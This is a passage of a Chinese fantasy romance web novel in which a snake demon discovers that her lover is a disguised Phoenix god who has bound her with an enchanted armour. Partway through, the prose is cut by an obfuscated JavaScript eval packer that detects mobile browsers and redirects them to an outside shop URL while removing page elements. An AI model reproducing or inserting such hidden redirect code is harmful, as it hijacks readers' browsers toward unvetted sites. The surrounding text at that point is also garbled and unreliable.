“我知道你不讲究这些。”她找到秋照,笑着同她商量,“但昆仑这次情分,我着实不好辜负,就勉强搜罗了点珠宝,现在我拿给你,你论功行赏的时候加在里面发下去吧。” 她还没有越过秋照、直接犒赏她底下将士的那个胆子。 不过雪里送炭的情谊太贵重,西陆那边暂且不提,花清浅身为尊后那么多年,内外兵政都有主持,功不可没,甚至这次兵力大半都是她练出来的,借一借理所应当。 昆仑却不行。 这边鸟族原本与她八竿子打不着,纯粹因为秋照的一个命令,便毅然辗转千里出生入死,碰见废物的蛇族本族兵也没有高人一等,而是耐心带着他们打仗。 花清浅不知道这么高素质的兵是怎么练出来的,反正她的反应只有一个:加钱。 昆仑兵马值得! 她慷慨解囊,将乾坤袋中的西陆珠宝拿出来好些,让秋照挑选,这些珠宝都是富有灵气的,对将士修炼大有好处。 在众多珠宝之中,她注意到秋照的视线在一副头面上多停留了一刻。 那是一副齐整大气的水钻头面,包含两副红宝石耳环、八支绯色缀羽流苏钻石发簪,连着一副西陆传统累珠云鬓凤冠,并一套万瓣吉祥如意珠花、两条水银流光玫瑰项链。 头面上的术法精细持久,叫珠花花瓣颜色鲜亮如新,绯色缀羽形似真鸟,带着凤冠振翅欲飞,因而戴起来一点也不重,美丽又轻盈。 这副头面是她与妖尊成婚时,西陆一个贵妇敬献的,因那场成婚实质是假,她便没有拿出来戴过。现在送给秋照,也不怕犯什么忌讳。 她一勾手指,灵力将整副头面飘举送到秋照面前:“送给你了。” 秋照也是个爽快人,没有过多推辞,只大力拍了下她的肩,叫她下个月来喝喜酒。 “我算的良辰吉日在一甲子之后呢!还好先生又算了一遍,下个月就能成婚啦。”女将军兴冲冲地道,“这回能绑牢先生,你的功劳最大!我一向论功行赏最公正的,你放心,我总要好好谢谢你。” 花清浅这刚谢过她,又要被她谢,一时有些哭笑不得,说道:“这次功劳最大的可不是我,是周军师啊。要是他对你无意,就算我这满肚子的心思使尽,怕也没什么效果,你还是谢他吧,不用谢我。” 秋照和周霖鹤的感情这么好,花清浅嘴上说不是自己功劳,心里却也很为他们开心。当晚她看着这两只昆仑当家鸟在山上相偕飞舞,觉得眼前美酒都更加甘醇,不自觉多喝了几杯。 这次,吕浮白却没有第一时间给她煮醒酒汤。他看着她小脸上艳若桃李的红晕,还有她看向上空那对鸳鸯眷侣的目光,静静叫了声:“清浅。” 花清浅转过头。 “我准备好婚书了。”他说。 因为酒喝得有点多,花清浅眼前好似蒙着一层雾,吕浮白清俊的面容在她眼里添了点古朴深沉,恍然有了几分故人之姿。 但她心里又很清楚,吕浮白和那位故人一点都不一样。 他太爱她,由爱故生怖,仿佛时刻患得患失,担心着下一刻她就会弃他而去,不再属于他。 虽然没有催促,但他眼里的急切都来不及掩饰,好像那薄薄一纸婚书,就是此时此刻天地之间最重要的事情。 花清浅心里忽地软下来。 昆仑桌上摆着的灵火噼啪作响,映衬着她卷翘的睫毛如扇,她歪着脑袋,美酒醉意熏红的水眸眼尾微微眯起,斜睨着他说道:“婚书么,其实我现在就能签,但你要先答应我一个条件。” “好。”吕浮白不假思索道。 他答应得太快,如同那次三人护送东方书生上京,她与他打赌“凤凰神君能不能看破红尘”,他立刻接上赌约,快得让她直觉其中有诈。 但她记吃不记打,明明感觉到了有坑,一看到他那双古井泛波的眼睛,却还是想闭着眼睛往下跳。 “你要答应我,无论今后发生什么事……”她强行压下正尖叫着预警的动物本能,倾身凑上前去,“你都要相信,我喜欢你,整个天下旁的男子加起来,在我心里也比不上你一个。” 吕浮白握住她支在身前的手腕,近距离凝视着她一双水眸,郑重点了点头。 花清浅满意了,叫他拿出婚书,醉眼朦胧地把她的名字签了上去。 俗话说,喝酒误事,这话真的不假——因为醉眼朦胧,加上对吕浮白过度信任,她完全没看清楚那婚书的模样。 这孔雀世子拿出的婚书,赫然是她之前在京师客栈烧掉的那张! 另外一栏的空格里,署名并不是吕浮白,而是“傅玄”两个大字,她也根本没有用心去看。 不过,这些都是过几日才会浮出水面、把她气得够呛的真相。 在这个与昆仑将士同欢的美妙夜晚,她签完婚书,就认定此事告一段落,转而关注起了称呼问题。 “虽然没有拜天地,但婚书一签,你我已经是世上最亲近之人了。”她素手一挥,宣布道,“我不能总连名带姓地叫你吧?你有没有什么小字,叫起来比较可爱那种的?” 毕竟还没成婚,且夫君两字太常见,她也叫过赵刑西,现在换成吕浮白,要想个独一无二的称呼才好。 “小字?”那孔雀世子的小字,便是有,他也不愿意让她亲亲热热地唤着。吕浮白沉吟片刻,温声道,“你可叫我长岐。” 花清浅念了两声他这个名字,虽不可爱,却也觉得蛮好听,又问:“这是大明王给你取的小字?” “是我自己取的。”吕浮白垂眸掩饰住因为她软乎乎念起这名字而泛起的一丝灼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938047|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热,“没有旁人知道。” 那这称呼更显得独特了,花清浅很是满意。 轮到她时,她面有得色,说道:“你以后可以叫我‘小清’。” 这是她读过《白蛇传》的故事之后,自己给自己取的小字。 本来她是白底花蛇,取类似白素贞的名字更合适一点,但她不喜欢许仙,也不认同白素贞的眼光。在她看来,故事里那条青蛇倒是更潇洒些,便故意起了这个听上去容易误会的小字。 听她得意地跟他分享起名由来,吕浮白也差点将长岐这个名字背后的典故告诉她,但他看着她此刻对他亲密无间、娇憨俏美的模样,还是什么都没说。 “这个名字也是我自己偷偷起的,旁人不知道,连玉京子都不知道。”她柔若无骨地趴在他肩膀上,悄悄说道,“哎呀,咱们这两个名字,真是天造地设的一对!” 她靠得很近,吕浮白可以嗅到她身上的花香,温热的吐息就打在他耳侧,这样贴近的姿势,以前在长生界也出现过。 但在长生界时,都是她假装不小心扑进他怀里,他不回应,没过几刻,她便会怂怂地退开,并不敢多占便宜。 有一次他去抱她的手已经抬到了半空,她却飞速抬起身,口中还讨饶地叫道:“我错了神君,我再也不调戏你了不要打我啊啊啊啊——” 他便再不好意思说什么。 因为那点不好意思,那点矜持,和那点说不清道不明的怯懦,她千百次地离开他时,他都没有阻止。 于是最后那一次,她以死脱身,他也再没有能力阻止。 这是困扰他夜夜无眠的梦魇。 幸而在五十年后,他重又找回了她,驱赶走周围徘徊的其他低劣鸟族,将她的防备一点点蚕食殆尽,才终于又求得了这个拥抱。 吕浮白微微偏过头,掩去眼底的一丝偏执,伸手揽住她细得惊人的纤腰。 这一次,他握紧了,就不会放手。 再也不会了。 - 兰铁山之事告一段落,花清浅还惦记着开小混沌戒,在魔族之前抢先找到封印结界所在。 本以为要耗费好一番功夫,却不想在辞行时,周霖鹤听到他们要开小混沌戒救人,此事还与朱雀族有关,多问了几句便断言道:“赵音浓所开辟的结界,应该在洗佛池底。” “这也是你算出来的?!”花清浅和玉京子等众目瞪口呆地看向他。 “只是在朱雀族内有几位熟识而已。”周霖鹤失笑道,对上秋照崇拜的目光,想了想还加了一句:“都是雄雀。” 那年赵音浓擅自纠集兵力、且擅自动用小混沌戒报私仇,导致下界民不聊生、血流成河,全族上下却没有一人阻止,元始天尊震怒,将其逐出神界,族人剥夺全部修为,从头开始修炼。 而赵音浓在最后时刻是恢复了神智的,她动用小混沌戒,其实是想除掉定法天怨,只不过封印范围没控制好,将周围的天水妖尊及其尊后也封印进去了。 因为赵音浓事过不久便郁郁而终,此事传播得不广,周霖鹤也是偶然间与几只朱雀提起洗佛池,发现他们神色间有异样,才探听出这些旧事。 “自从小混沌戒发于鸟族,所有人便都宣称,一入混沌戒封印,生死不知。”他笑着说道,“但凤凰神君当年并不以此为杀器,想来还是留了一线生机的。” “傅玄从来性子仁善。”花清浅跟着感叹道。 什么性子仁善?她说的是谁,是那个执羽为令离火出、动辄烧毁上万神魂、尾巴尖上常年沾血的凤凰神君吗?! 这尊真神乃是何等的大恐怖,花清浅跟了他那么些年,都眼见着不喜欢他了,怎么还对他抱有这些幻想? 秋照有些受不了地挑起眉毛,想要纠正她的错误认知:“不是,清浅——”刚叫了个名字,坐在花清浅旁边的孔雀世子便朝她淡淡扫过来,视线平静,却比千军万马的魔族压阵更让人心慌。 她本能地闭上了嘴。 眼观鼻鼻观心坐了片刻,她才反应过来,那吕家世子何时有这么强的气势了?跟战场杀伐了上万年的凶兽一般,可她明明记得他手上没沾过多少血,孔雀也是瑞兽啊。 还有,她是要让清浅正确认识凤凰神君,又关他吕浮白什么事? 他当真崇拜神君到如此地步,怎么还腆着脸抢人家的“亡妻”呢,不怕神君一怒之下废了他的神魂么? 想了半晌,秋照脑子里忽然灵光一闪:她怎么忘了,孔雀族最为小心眼,凤凰神君可是花清浅的前任,他当然不愿意多提起这个人。 这就是雄孔雀啊,一见到美貌蛇妖,连从前最崇敬的神君都不叫人提了。她自以为摸准了吕浮白的心思,暗自嗤笑一声,本着与人为善的原则,大度地将话题引了开去。 - 花清浅还在想着小混沌戒,以及那只叫做赵音浓的朱雀。 听说赵音浓原本是个再纯善不过的上神,就因为被定法天怨盯上,在心里寄生,做下那么多错事……设身处地地想一下,也难怪她会悔恨致死。 “定法天怨最会蛊惑人心,她那些所作所为未必是出自本意。这么看来,她也是挺冤的。”花清浅叹了口气: “但她一人被蛊惑发疯,全族上下竟都陪着她疯,这就有点说不过去了。元始天尊做得对,那群朱雀是该吃点教训。” 周霖鹤听她言语之间,对朱雀族似乎颇为熟悉,却没什么怨恨,眸光一转,敛去几分深色。 不过,朱雀族人才济济,天尊的惩罚并没有让其一蹶不振,如今族里逐渐复起,上神都出了好几位。花清浅八卦完后,注意力还是回到了封印结界身上。 “方才所说的洗佛池,是我想的那个,泰山之外的护山河么?”她好奇问道,“众神归墟,泰山之水,原来是真实存在的,不是传说哦。” 洗佛池,这也是她从前在凤凰神君所藏古籍里看到过的地方。 神明并不是永世不灭的存在,古籍中说,祂们消亡之后,魂魄一部分化归天地,一部分趟过洗佛池,归于泰山之内,是为众神归墟。 记载此事的是一本杂书,跟修炼并没有关系,旁边还记了很多夸张的古神事迹,譬如什么“三足金乌喜欢把月亮当球踢”、“应龙补天十分不爽,曾找女娲干了一架抗议,但没打过”之类的,一看就很假,花清浅一直以为那些都是编的。 79. 第79章 飞升成仙便已经能活很久,上神往后寿命更是无涯,虽然上古神明大多陨落,但几乎没有人真正了解他们陨落后去了哪里,是否真的化为了天地清风。 见花清浅与两人讨论得热火朝天,吕浮白欲言又止。 周霖鹤思索着说:“或许神明所谓的消亡,只是存在形式的改变。如同凡人亡魂一般,阳间为活人,死后则归往阴间。等到属于神明的时代过去,世间再容不下大能,他们就此前往另一处世界,入口就是泰山。” 不愧是军师!花清浅认为他说得很对:上古真神陨落那么多,八成就是因为现在环境不适合生存了。凤凰神君是个例外,大概他实在太强,什么环境都奈何不得他。 “好,我也是个上神,哪天陨落了去泰山亲眼看看,上古赤狐是不是真有传说中那么勾人。”秋照兴奋不已,“对了,泰山在哪来着?” 花清浅也眼神发亮地看向周霖鹤。 “抱歉,这个我也不知道。”周霖鹤抿了抿唇说。 秋照立刻开始护短:“道什么歉?此事是朱雀族隐痛,你又不是朱雀族自己人,他们不告诉你很正常嘛。” 外地鸟族大多都这样,排外得要命,哪像他们昆仑,当初周霖鹤来这还不到一个月,她就大事小事全交到他手里了,全山上下没留一点秘密。 周霖鹤也想到了刚来昆仑的那段日子,含着笑意看她一眼。 花清浅也不知道洗佛池在哪,凤凰神君倒是一定知道,但不到最后一刻,她还是不想找他求助。 看她眨着一双水眸滴溜乱转,闷不吭声想主意的模样,吕浮白就知道她在顾虑什么。为了阻止她翻遍天下古籍,或是把竹言重新刨出来,他及时开口:“我知道,那地方不好走,我带你去。” 花清浅震惊抬头。 秋照更是语出惊人:“吕世子,你怎么知道!难不成你在千年睡梦里去过?”其实他昏睡那么多年,跟死了也没什么区别,魂魄往泰山飘荡一趟倒是很好理解。 “……是。”吕浮白本不想回答这个问题,但花清浅也闪着亮晶晶的眼神看着他,他就不得不给出令她满意的答复。 果不其然,花清浅闻言发出一声快乐的尖叫:“你是因祸得福啦!快说说,泰山是什么样的,远吗?冷吗?泰山府君是真的吗,他长什么样,打扮像不像阴间的判官?” 吕浮白耐心地一一回答。 泰山很远很远,等闲仙妖不可抵达,所以如果要去,须得做足准备;那里感觉不到冷热;泰山府君也是真的,但他并不负责掌管陨落众神,而是负责守卫山口;泰山府君的打扮比判官高级许多—— 听到最后,花清浅忍不住喷笑:“是了,管神仙鬼魂的自然比管凡人鬼魂的高贵些,哈哈!” 都说了府君并不司判官之职了……不过吕浮白知道她也就说一乐,并不当真,便由她去,颇有几分宠溺地听她讲起“小花蛇惩恶记”,乃是她某次下地府去玩,戏弄徇私判官的故事。 同秋照等昆仑部众正式拜别,顺便回忆了一把当年光辉经历之后,花清浅抓起正往背篓里塞酒坛的玉京子,和吕浮白一起下了山,准备回慕城休整,为前往洗佛池做准备。 - 知道小混沌戒封印内并没有太大危险,花清浅救人的步伐从不匆忙,甚至在慕城小院住了几日,她还有些犹豫起来。 “要是香染他们并不想见我,可怎么办呢?”慕城六月草长莺飞,小院里虫鸣一片,火炉似的日光被结界隔绝,她穿着天界顺下来的蝉翼纱裙,行动间自生香风,却仍旧显得躁动不安: “打从生下来起,他们就没见过我,对我的印象大约是一枚很好辨认的蛇蛋。但我如今出落得这样水灵,半点也不像圆圆胖胖的蛇蛋,他们认不出我怎么办?” 玉京子盘在屋檐下的柱子上,伸出信子舔着红豆冰糕:“哪有爹娘认不出自家孩子的,你净瞎操心。”他与花清浅的心态是两个极端,坚定地认为天水和香染会丝滑接受出落成大美人的女儿,顺便认下他这个英俊帅气的养子。 花清浅完全没听进去:“还有,万一他们在结界里又生了一窝蛇蛋呢?他们会不会根本不想被救出来?” “怎么可能!” 玉京子大叫出声,跟她讲一万遍要她安心,她却仍是悲观,直到一旁的吕浮白打理好行囊,同她说了句“别担心,封印结界里生不出蛋”,才眼见着她松了口气。 “清浅你可真是……合着我讲一万句,顶不上吕浮白的一句!还说你不重色轻友!”玉京子一口嚼碎剩下的冰糕,满腹怨愤地回房去。 玉京子气鼓鼓的时候更加有趣,有时她故意气他一气,那股近乡情怯的焦虑感能散去不少。花清浅好玩地看着他的背影,想着也不好欺负他太过,决定晚餐给他加个蛋以表歉意。 吕浮白清楚她逗弄玉京子的心思,也不多说什么,只问:“晚上吃什么?” “我好想吃担担面!”花清浅跃跃欲试,“之前咱们去兰铁山,单方寸拿出来招待的担担面都不是正经面,一看就是那些下面人糊弄他的。”不过魔族来战,本就是非常时期,厨子紧张些也不是过错,她当时就忍着没说。 离开长生界后,她游历凡间,吃过朱雀上神亲手做的面,也享用过西陆宫廷山珍海味的佳肴,于口腹之欲上已经很有些千帆过尽、兴趣缺缺的意思,常衬得玉京子是个饿死八辈的馋鬼。 但不知为何,自打与吕浮白稀里糊涂地在一起,她仿佛又变回了那条初出茅庐、看什么都兴致勃勃的小花蛇,吃东西的热情猛涨,简直越活越回去了。 深刻反省的同时,花清浅没想改正,继续自吹自擂:“我当年可是真正跟凡人学过做面,尤其是做出来的担担面,哇,你不知道,尝过的食客都是交口称赞,直说我当法修浪费天分,该去做食修。” 吕浮白静静地听着,状似不经意问:“都有谁?” “啊?” “都有谁称赞过你。” “也没有很多人,就玉京子他们几个吧。”花清浅知道他心眼小,但那都是好多年前了,料想他不会吃那陈年旧醋,便很坦荡地点了几个名字。 小龙王岐深,神霄玉清,鸟族的白头仔,甚至还有误入西谷的凡人修士。 唯独没有傅玄。 吕浮白知道她邀请哪些人吃过饭,他其实想问一问,为何唯独没有傅玄。 她明明会那么霸道地占据他的怀抱,无师自通贴近他,撒娇撒得没大没小,可与此同时,她又很少会邀请他去西谷。 那是她的地盘,他却几乎只在那次她生辰时受邀去过,见到那里四处散落她朋友的痕迹,很多根鸟族的羽毛,很多点海族的水渍,很多位散仙的法器,唯独唯独,没有他的。 他那时自问毫不动心,所以一点也不知道心里说不清道不明的酸意从何而来,他本该风雨不动,可是那点酸意越来越疼,咬噬他心口,叫他不自觉一个个仔细观察起与她来往的同辈。 一众狐朋狗友被他瞧得惶惶然不可终日,但全场最惶然的其实是他,好在他神情足够平静,没人察觉他内里翻江倒海。 他坐在上位,一动不动仿似木雕泥塑,直到那只西陆杂毛鸟对她告白。 ——那是他第一次意识到,只要花清浅想,她是随时可以离开他的。 如今世道不古,年轻妖族今天喜欢这个,明天喜欢那个,都是常有的事。她现在喜欢他,过一夜也完全可以接受别人求偶,亲亲热热同人生蛋。 到那时谁管凤凰神君是哪条道上的神仙,拆人姻缘天打雷劈,他只能旁观。 有那么多人想跟她求偶,看看生辰礼,光是鸟族献上的羽毛就有那么多根。她还收下了,或许是要仔细挑选哪只鸟的羽毛最好看……他努力不去想,可他喉咙开始发堵,胸口像被塞了一团浸满毒液的棉絮,难受得发紧。 从未谈过情事的上古真神,对待心里的波澜,第一反应是本能地压下。他不想再有这般酸涩心情,冷声开口要为她证婚,强行掐灭情根。 - “你想什么呢?”花清浅叫吕浮白帮她和面,却见他望着自己发呆,不由伸出手拍拍他的脸,“想我做的面呐?” 吕浮白望着她水光潋滟的眸子,眼里倒映出那日她泫然欲泣的脸。他在想,难怪他没有吃到过她做的面,他本就不配的。 “我在想,我以前说爱你,说得太少。”他像是痛定思痛,“以后不会了。” “你还说得少?可别再说,现在我都快顶不住了。”花清浅红着脸小声嘟囔,推他进厨房备菜,闲聊间,吕浮白又说起去泰山的注意事项,要她做好准备。 “放心,我的防御术法很不错的啦。” “术法的根基是修为。你还没有飞升,修为不强,很难受住泰山脚下罡风……” “知道知道,这不是还有你给我的护身金甲吗。” “泰山是神明陨落之地,法则与凡间神界皆有不同,金甲护不住你。近年摩罗冰心也产得不多,你若不慎受了伤,就只能喝最苦口的补药。” 花清浅不服气地哼了一声:多大的人了,她才不会害怕苦药,摩罗冰心都是多久以前的事——等等。 她猛地抬起头,惊疑不定道:“当年我受伤用的是摩罗冰心,吃过之后闹着还要吃,可你怎么知道?” 这分明是,只有傅玄会知道的事情。 - - “傅玄不可能告诉你这些,你是怎么知道的?” 他僵着脊背不说话。 这个反应就已经说明了太多,花清浅瞳孔剧颤,后退一步:“你到底是谁?!” 他终于抬起头,望向她,再瞒下去已经没有意义,于是他容貌在刹那间变改。 眉骨变得更加深邃,鼻梁俊挺,唇边弧度骤然冷冽,唇色变浅,周身气息带着上古真神不容置疑的威力压下来。 那是一双熟悉得不能再熟悉的眉眼,她曾光明正大地爱过,午夜梦回时暗暗恨过,强装不在意过,可是从未能真正忘记过。 凤凰神君,傅玄。 花清浅不可置信,从他眼窝到鼻梁,从鬓角到耳廓,一遍遍地看,但翻来覆去,眼前还是傅玄。 不是吕浮白。 “吕浮白呢……”她傻傻地问,对上他欲言又止的目光,忽然从内到外都觉得不知所措,手里捏了个法诀就要飞出窗外,跳进传送阵里逃走。 可她竟没能逃走。 灵力流转变得分外滞涩,她后知后觉低下头,看到他送给她的护身金甲,此刻变成一道禁锢她的金笼。 “这是什么——你在金甲上下咒?”她脑子里一片空白,“你暗算我!” “……对不起,我离不开你。”他终于开口,是傅玄的声音,但她却觉得自己从没听过他这样说话,因为他嗓音嘶哑,像是在祈求着什么,而傅玄从不祈求。 傅玄不该有这么低声下气的时候,可眼前这人却偏偏用着傅玄的脸,傅玄的声音,克制着开口。 “从来就没有吕浮白,在你身边的人,一直是我。” 花清浅瞠目结舌地瞪着他,脑中闪过“吕浮白”来慕城小院之后的一幕幕。 第一次见面,他撞见她与两只山雀厮混,两只眼睛气得发红; 他时不时看着她笑,看着她出神,好像她是什么失而复得的珍宝; 他法力忽地大增,能一招喝退西陆妖尊,连秋照都被他吓了一跳,怀疑他有什么机缘奇遇…… 种种不明之处,因为他是傅玄,统统都有了解释。 花清浅双手捂住脸,勉强忍住没有尖叫,无力的声音从指缝里漏出来:“你送我金甲的时候,就想好了有这一天吗?你打好了主意要强行锁住我?!” 傅玄慢慢走过来,趁着她尚在震惊、来不及推拒,自顾自将她扣在怀中,帮她理顺散乱的发丝,却没有立刻开口回答她,仿佛在斟酌词句。 过了好久,他才淡淡说道:“金甲上的法术以我神寿为限,你大可以强行挣脱,不会有危险。” 他不会强迫她,盔甲上的那道符咒,从一开始,本来就是伤他自己的。 吕浮白这个身份破绽太多,他知道迟早掩饰不住,她又对傅玄百般排斥,发现真相一定会跑。 想把她留在身边,他没有别的办法,只有以性命为笼。 听清楚他在说什么,花清浅咬牙切齿地抬眼:“所以我若强行挣脱,你就会折寿?你怎么敢拿性命做筹码——你以为我不敢叫你折寿么?!” 傅玄垂眸说道,“那就动手吧。” 花清浅火冒三丈,作势要掐诀,却在看到他微微闭上眼、好似引颈就戮时怎么也下不去手。 他的脸上居然还 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“你之前叫我发过誓,不可因你伤到自己。”他按捺住心中酸楚,温声同她讲,“清浅,多亏你这句话,否则我活不到今日。” 她狐疑地望着他,多芳艳的姿容,从下而上睁目看来的时候却满是天真。 “你什么意思?”她问,什么叫做他会活不到今日?身负长生之术的凤凰神君,日月山川死了他都不会死,这世间有什么能伤他到“活不到今日”——除了他自己搞的这个鬼金甲符咒之外? 傅玄却不再细说,他深深望进她的眼睛,平静道:“小清,你既不愿我死,便要好好陪在我身边。” 这个专属的称呼一出来,花清浅心神又是一震,再次被迫意识到“吕浮白就是傅玄”这个惊悚的事实。 他目光太专注,她被他看得身子发软,扶着身后的门框才勉强站稳,突然说道:“神君,我错了,我认错好吧。” 她语气同在长生界里时一样,带着些许讨好,傅玄就是在这样的讨饶下一次一次纵容她,纵容到她在他心里横冲直撞,还敢反过来控诉他不疼她。 “我不该撩拨你的,我真傻,真的。”她情真意切地开始忏悔,“神仙本就不该谈情说爱,唉,怪我一时被神君光环迷了眼,其实我根本不喜欢对神仙求偶——” 傅玄上前一步逼近她:“那你还坚持求了五十年。” “我、我那时年轻,习惯成自然了嘛。”花清浅扬着笑意,试图蒙混过关,“但我现在长大了,我懂事了,我也不喜欢神仙了!” “骗你假死是我不对……神君你来找我,应该也是因为愧疚,不该叫我一个小花蛇给你挡箭……可现在你知道了,我不是为了救你而死,我是骗你的啦。” “所以神君你看,咱俩这段孽缘,能不能,到此就算了?” 算了。 她主动来招惹他,撬开他死板的心封,收了他那么多羽毛,甜言蜜语不要钱地撒,叫他沉浸在一个爱人相伴,天长地久的梦里。 然后仓促间死在他面前,身上是为救他而负的箭伤,临死之前还认定他不爱她。 隔了一万八千多日夜,他重又找到她,她早已将甜言蜜语说去给别人听,那句只爱他一个好像是随风而过的空话,他好不容易赶走了别人,便只用这一句“算了”来打发他。 他就是开窍慢了些,在无数次镜花水月里学着去爱,好不容易有些成果,她却说不好意思,晚了,咱们一刀两断,算了吧。 傅玄看着她讨好的微笑,心中沉郁,几乎生出一种忿恨:“花清浅,你要跟谁算了?” 一声“小清”就已经够她魂飞半晌,现在被他肃声叫全名,花清浅更是本能地肝胆俱惊,顿感大事不妙。 “三日之前,你还跟我说,要一辈子同我好,全天下其他男子加起来,也比不上我一个。”他生怒时语气先冷,慢条斯理摆出事实,“我有哪里做得不对,你转头就要抛弃我?” 倒反天罡啊!花清浅被他一副弃夫的模样搞懵了:“不是,等等,我说的是吕浮白!我要知道你是傅玄,打死也不会那么、那么……” 那么放肆,那么轻佻,胡言乱语,不知天高地厚。 “为什么吕浮白可以,傅玄就不可以?”她要低头,他轻轻捧住她的脸,不许她逃避与自己的对视,过了片刻,又省悟什么似的补充道: “——傅玄以前做错了事,你觉得不可以,那就把我当成吕浮白,也是一样的,好不好?” 花清浅猛地摇了摇头,总算恢复了些许冷静:“你刚才还说,从来就没有吕浮白。” 孔雀世子当然哪里都好,深情可靠招人怜,叫她久经红尘的三魂七魄都醉了一半,可是原来他从来没有真正存在过。 吕浮白是一个影子,一个虚幻的人偶,由木偶戏大师凤凰神君出演——拜他所赐,花清浅爱上的是一场空中沙堡,风一吹就散了。 那个爱得笨拙的年轻世子消失得无影无踪,取而代之的,是傅玄沉冷的疏淡眉目。 傅玄怎么会爱人,他的那些爱都是愧疚,是补偿,是对她这些年苦难情史的心疼。如果眼下没有偶然发现真相,她毫不怀疑他会一辈子都做吕浮白,同她求偶生蛋,然后在蛇蛋破壳生出凤凰崽子的时候跟她告别。 旁人做不出这么离奇的事情,可是傅玄可以,她知道他是个多善良无私的神仙。 她想要蛋,傅玄就会给她蛋,她想被求偶,却总遭别人骗,他就会守在她身边,给她虚幻的尘世幸福。 因为她从前一句玩笑话,说想要个名分,他都会在她死后赔上一身清名,管她叫他的亡妻,他还有什么做不出来。 可因为悲悯而施舍的爱不是爱,古老神明对从小看大的后辈的爱也不是爱。 花清浅已经过了那个自私的、虚荣的、想要做凤凰神宫女主人的年纪,她宁愿忍受漫长孤寂的侵蚀,也不要他痛苦地陪在她身边。 她终于懂了吕浮白长久注视她时,眼底那深沉复杂的情绪从何而来——不是因为受过情伤,而是因为他本不通情爱,却非要在自己身上榨出爱来献给她。 她真的不想做那强逼真神的霸道恶妖…… “神君,求你收了神通罢。”她说,“事已至此,你总归不能再装成吕浮白。” 80. 第80章 什么大明王世子,其实傅玄并没有多大兴趣装,他只是想继续被她爱而已。 她说他不能再做吕浮白,他气息颤了一下,想说她也不能这么残忍。 不能让他学会爱,然后就把他扔在原地,再不回头,下定决心一辈子不再见他。 这很残忍,有违天道,从小到大他不是这么教她的。 可花清浅目光开始游离,她看上去那么萎靡,好像他是傅玄这个事实让她身心俱疲,他于是什么都说不出口,隔了片刻,只道:“先吃饭吧,我给你做面。” “去酒楼买点粥就行……”花清浅不敢再吃傅玄做的面,她怕折寿。 傅玄平静地看着她,吻一吻她的前额,一触即分后说:“现在想着支开我,晚了。” 他吻得太过自然,且没带多少情/欲,因此花清浅都没来得及生出什么反抗的意识,被他亲得呆在了原地。 “你、你——”她脸颊涨红,水眸睁圆了看他,眼神是一贯的天真无辜,又带点不自觉的魅惑。蛇妖勾人的天赋不比狐狸弱,哪怕她未曾刻意修炼过,叫人疼的本事也已然入木三分。 傅玄心里喜欢到发痛——本来自从身上拔羽的伤痕消失,他已经很少再痛过了,可一想到如果他没找到她,这副可爱的模样说不定就要落在另一个人的眼里,他就痛得要死。 他深深看她一眼,转过头去接着做饭。 花清浅冲空气乱挥一通拳,见他并不接招,只好去院子里翻书,直到暮色渐沉,玉京子从房里出来,问晚饭吃什么,看到厨房里陌生的高大身影,发出一声大叫:“鬼啊!” “是神。”花清浅情绪已经稳定下来,支着下巴纠正他,顺便抬手让院子里亮起灯盏。 灯光如昼,厨房里正在给面条加辣椒油的男人百分百不是鬼,但玉京子还是吓得蹿到了花清浅身边:“清浅,吕浮白呢?那人是谁?!” 花清浅叹了口气,本来想糊弄一番,但过去她已经给玉京子讲了不少傅玄的事,再含糊也没有意义,便将真相挑拣着说给他听。 由于省略掉了金甲符咒的部分,玉京子觉得不对,悄声问她:“哎,你不是好害怕神君的吗?怎么还不跑哇?” “那是傅玄,再跑能跑到哪里去。”想在玉京子面前维持无所不能的小花蛇形象,她硬着头皮开始圆,“再说了,现在是他装年轻上神骗咱们,他理亏,凭什么是我跑?” 玉京子大感有理,连连点头,又听她继续推心置腹:“他现在只是感情错乱,让我点拨点拨,很快就能看破红尘、重返神宫,你且看着吧。” 她一条未飞升的小花蛇要点拨真神,这话说出去可以让全天下的妖族笑掉大牙。但玉京子没觉得有什么不对,甚为受教地点头: 从他以往听到的神君事迹来看,这位确实不怎么通人情,花清浅忽悠人的功底他见过,若论起情,神君好像真不是她对手。 他想到一半,见傅玄沉在暮色里走过来,三碗面稳稳飘在身前,落到桌上。 方才那席话着实大逆不道,玉京子有点后怕,不知神君听见没有,不过花清浅好像倒不怎么在乎,神色自若地拉过碗,吃了口热腾腾的面。 鲜香的麻酱裹着肉末,面条筋道入味,香咸微辣,居然和她心里念叨的味道一模一样。 ——这自然是因为傅玄在水月镜中复盘过千百遍过往,连她如何与担担面小贩交易都没放过。 有寒春仙子之前的提醒,花清浅想得通这一层。她不能不意识到,一尊单纯愧疚的神,会这样近乎偏执地关注她的细枝末节吗? 可是转瞬之间,她又想到过往无数次自作多情的恶果,还有日月潭内倒映出的那尊铁面无私的神明。 她不是没有被人爱过,故而会知道,一个人若爱上她,不说偏私,至少无论如何不会将她用天规处置。 哪怕他是傅玄。 尚未被凤凰指爪剥开的蛇筋尝到些幻痛,她像被火燎了一般回神,再不敢多想,只管埋进碗里呼噜噜吃面。 她吃得很香,好像一点也不嫌辣,傅玄却知道她唇舌娇嫩,多半受不起这般大吞大咽,果然见她不久便吸着气抬起头,鼻尖脸颊一片通红。 他眸里泛起一点宠溺,指了指早就备好的甜露:现在身份被戳穿,他也不藏了,将从前她在长生界里爱吃爱喝的全都摆到台面上。 花清浅下定决心要与他一刀两断,当然不能为一杯甜露露怯。她扬着下巴催动灵力,因为没有逃跑的意图,金甲咒法并未触发,成功从厨房引来一壶清水。她抓住水壶晃晃,说道: “我早就不爱喝甜的了,神君不必这么费心。” “是么。”傅玄眸光未动,温和地道,“可前日你在昆仑喝多了酒,怎么还抱着我哭着喊着要甜露润嗓子呢。” 花清浅忍不住对他怒目而视:她那是对着吕浮白撒娇,撒娇懂吗!她本质要的不是甜露,而是吕浮白吻她啊! 然而傅玄就是吕浮白,这话就不能真说出来,显得她又在朝他讨吻一样。她默默瞪他好久,玉京子才察觉到气氛不对,打了个饱嗝问她:“怎么了清浅?” 